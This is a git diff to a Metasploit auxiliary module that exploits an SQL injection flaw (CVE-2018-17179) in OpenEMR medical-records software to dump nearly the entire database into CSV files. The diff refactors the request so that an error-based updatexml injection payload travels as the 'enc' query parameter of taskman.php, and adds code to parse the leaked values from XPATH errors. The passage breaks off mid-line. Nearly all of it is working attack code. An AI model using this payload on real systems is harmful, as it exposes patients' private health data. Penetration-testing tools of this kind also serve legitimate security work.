diff --git a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb index 86b8740fe9..328db926a8 100644 --- a/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb +++ b/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb @@ -8,6 +8,8 @@ require 'nokogiri' # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -19,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary vulnerability allows the contents of the entire database (with exception of log and task tables) to be extracted. - This module saves each table as a \'.csv\' file in your + This module saves each table as a `.csv` file in your loot directory and has been tested with OpenEMR 5.0.1 (3). ', @@ -32,13 +34,10 @@ class MetasploitModule < Msf::Auxiliary ['CVE', '2018-17179'], ['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617'] ], - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, 'Targets' => [ ['OpenEMR < 5.0.1 (6)', {}] ], - 'Privileged' => false, 'DisclosureDate' => 'May 17 2019', 'DefaultTarget' => 0)) @@ -82,22 +81,31 @@ class MetasploitModule < Msf::Auxiliary end def get_response(payload) - path = "#{uri}/interface/forms/eye_mag/taskman.php?action=make_task&from_id=1&to_id=1&pid=1&doc_type=1&doc_id=1&enc=1' and updatexml(1,concat(0x7e, (#{payload})),0) or '" + path = "#{uri}/interface/forms/eye_mag/taskman.php?" # This is only going to work for spaces. Ideally we could use URI.encode # but that is deprecated and CGI.escape uses + which doesn't work # for this application. path = path.gsub ' ', '%20' response = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(path) + 'uri' => normalize_uri(path), + 'vars_get' => { + 'action' => 'make_task', + 'from_id' => '1', + 'to_id' => '1', + 'pid' => '1', + 'doc_type' => '1', + 'doc_id' => '1', + 'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '" + } ) response.body end def parse_xpath_error(response_body) - matches = response_body.match %r{.*XPATH syntax error: '~(.*)'